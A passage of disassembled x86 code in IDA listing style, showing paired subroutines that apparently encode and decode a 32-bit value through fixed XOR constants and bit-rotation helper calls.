[ebp+arg_0], eax push 19h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 6 push 17h push 8 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_49129A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_491336 proc near ; CODE XREF: sub_4A101A+Dp ; sub_4A2806+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFAh push 17h push 8 mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFE7h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 2DAEB5E3h mov [ebp+arg_0], edx push 0FFFFFFF4h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0B278157Ch mov [ebp+arg_0], ecx push 0FFFFFFF4h push 4 push 0Fh mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFF9h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFEh push 8 push 16h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 220E31E7h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_491336 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4913D4 proc near ; CODE XREF: sub_495329+B9p ; sub_497F97+B8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0EACE3133h mov [ebp+arg_0], eax push 2 push 17h push 3 mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1Ah mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 7 push 6 mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Dh push 1 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0Ah mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 15C3C379h mov [ebp+arg_0], eax push 0Bh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0D62A4E92h mov [ebp+arg_0], edx push 3 push 12h push 7 mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 8BDF0CF9h mov [ebp+arg_0], ecx push 14h push 4 push 19h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Ah push 2 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 17h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0FCBBDB1Dh mov [ebp+arg_0], edx push 0 push 15h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 1 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ah push 15h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 1530309h mov [ebp+arg_0], eax push 9 push 2 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 8 mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 14h push 7 mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 6 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 9 push 2 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_4913D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49156F proc near ; CODE XREF: sub_495329+Dp ; sub_497F97+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 9 push 2 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFAh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 14h push 7 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF8h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 9 push 2 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 1530309h mov [ebp+arg_0], edx push 0Ah push 15h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFFh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0 push 15h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0FCBBDB1Dh mov [ebp+arg_0], eax push 0FFFFFFE9h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ah push 2 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFECh push 4 push 19h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 8BDF0CF9h mov [ebp+arg_0], ecx push 0FFFFFFFDh push 12h push 7 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0D62A4E92h mov [ebp+arg_0], eax push 0FFFFFFF5h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 15C3C379h mov [ebp+arg_0], edx push 0FFFFFFF6h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Dh push 1 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 7 push 6 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE6h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFEh push 17h push 3 mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0EACE3133h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_49156F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49170B proc near ; CODE XREF: sub_49CE90+D2p ; sub_49D7B9+A2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 732209Dh mov [ebp+arg_0], eax push 3 push 0Bh push 0Fh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 9 push 12h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 20E84581h mov [ebp+arg_0], eax push 3 push 0Fh push 6 mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 15h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0 push 1Dh mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 19CD006Ch mov [ebp+arg_0], ecx push 17h push 6 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_49170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4917A9 proc near ; CODE XREF: sub_49CE90+Dp ; sub_49F081+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 17h push 6 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 19CD006Ch mov [ebp+arg_0], ecx push 0 push 1Dh mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFEBh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFDh push 0Fh push 6 mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 20E84581h mov [ebp+arg_0], edx push 9 push 12h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFDh push 0Bh push 0Fh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 732209Dh mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_4917A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_491849 proc near ; CODE XREF: sub_4955CD+B2p ; sub_495835+D7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 81EEB2F2h mov [ebp+arg_0], eax push 7 push 0Ah mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 17h push 7 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 6 push 9 push 15h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 7 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ah push 4 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0 push 18h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 10h push 1 push 1Ch mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 18h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 8 push 10h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 7 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 2 push 1Bh mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 2 mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 1Bh push 0 push 1Eh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1Ah mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ch push 0 push 1Fh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 9 push 4 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 6C993A61h mov [ebp+arg_0], edx push 8 push 0 push 1Bh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 8 push 0Eh mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 15h push 2 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0C0B34455h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_491849 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4919DC proc near ; CODE XREF: sub_4955CD+Dp ; sub_495835+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0C0B34455h mov [ebp+arg_0], eax push 15h push 2 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 8 push 0Eh mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF8h push 0 push 1Bh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 6C993A61h mov [ebp+arg_0], ecx push 9 push 4 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF4h push 0 push 1Fh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFE6h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFE5h push 0 push 1Eh mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFFEh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 2 push 1Bh mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF9h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 8 push 10h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE8h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFF0h push 1 push 1Ch mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0 push 18h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Ah push 4 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF9h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFAh push 9 push 15h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 17h push 7 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 7 push 0Ah mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 81EEB2F2h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_4919DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_491B6F proc near ; CODE XREF: sub_497E12+175p ; sub_498394+7Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0A5A03DCBh mov [ebp+arg_0], eax push 10h push 3 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 16h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0 push 1Fh mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 14h push 3 push 1Ch mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Eh push 0Bh mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0F05EB5C4h mov [ebp+arg_0], eax push 0 push 16h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 12h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 18h push 1 push 1Dh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0A9A308D0h mov [ebp+arg_0], ecx push 4 push 16h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 1Fh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 17h push 7 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 1 push 17h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 5 push 7 push 17h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 4 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_491B6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_491CA1 proc near ; CODE XREF: sub_497E12+Dp ; sub_498394+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFCh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFBh push 7 push 17h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1 push 17h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 17h push 7 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE1h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 4 push 16h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0A9A308D0h mov [ebp+arg_0], eax push 0FFFFFFE8h push 1 push 1Dh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFEEh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0 push 16h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0F05EB5C4h mov [ebp+arg_0], ecx push 0Eh push 0Bh mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFECh push 3 push 1Ch mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0 push 1Fh mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFEAh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 10h push 3 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0A5A03DCBh mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_491CA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_491DD4 proc near ; CODE XREF: sub_496381+195p ; sub_4985C8+E4p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0FD52D0F0h mov [ebp+arg_0], eax push 14h push 1 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 17h push 2 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 6 push 0Ch push 8 mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Ch push 6 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 8 push 0 push 19h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 5EC8F60Ah mov [ebp+arg_0], eax push 0Fh push 7 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0F3617926h mov [ebp+arg_0], edx push 13h push 4 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0Ch push 3 push 1Bh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0E106AA71h mov [ebp+arg_0], edx push 0Dh push 7 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_491DD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_491EBB proc near ; CODE XREF: sub_496381+Dp ; sub_4985C8+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0Dh push 7 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0E106AA71h mov [ebp+arg_0], ecx push 0FFFFFFF4h push 3 push 1Bh mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 13h push 4 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0F3617926h mov [ebp+arg_0], ecx push 0Fh push 7 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 5EC8F60Ah mov [ebp+arg_0], eax push 0FFFFFFF8h push 0 push 19h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Ch push 6 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFAh push 0Ch push 8 mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 17h push 2 mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 14h push 1 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0FD52D0F0h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_491EBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_491FA2 proc near ; CODE XREF: sub_4953F2+BBp ; sub_495743+E2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 841A9E43h mov [ebp+arg_0], eax push 18h push 0 push 1Fh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 2 mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 14h push 2 push 1Dh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Dh push 1 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 3AC19C3h mov [ebp+arg_0], edx push 2 mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Bh push 0Ch mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Ch push 2 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 7 push 17h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 19h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Dh push 5 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0Bh push 0Eh mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 1Eh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 5EF12232h mov [ebp+arg_0], edx push 13h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 1 push 0Fh mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Eh push 4 push 11h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_491FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4920E6 proc near ; CODE XREF: sub_4953F2+Dp ; sub_495743+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFF2h push 4 push 11h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1 push 0Fh mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFEDh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 5EF12232h mov [ebp+arg_0], eax push 0FFFFFFE2h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Bh push 0Eh mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Dh push 5 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE7h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 7 push 17h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Ch push 2 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0Bh push 0Ch mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFEh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 3AC19C3h mov [ebp+arg_0], eax push 0Dh push 1 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFECh push 2 push 1Dh mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFFEh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFE8h push 0 push 1Fh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 841A9E43h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_4920E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_492229 proc near ; CODE XREF: sub_49B95C+10Fp ; sub_49CF72+8Ap ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0D40DC76Bh mov [ebp+arg_0], eax push 15h push 2 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 1 mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 51D49BEEh mov [ebp+arg_0], eax push 0Fh push 7 push 16h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1 push 5 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 11h push 2 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 1 push 1Dh mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 5 push 7 push 17h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Ah push 8 mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 5 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_492229 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4922F2 proc near ; CODE XREF: sub_49B95C+Dp ; sub_49CF72+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFBh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ah push 8 mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax 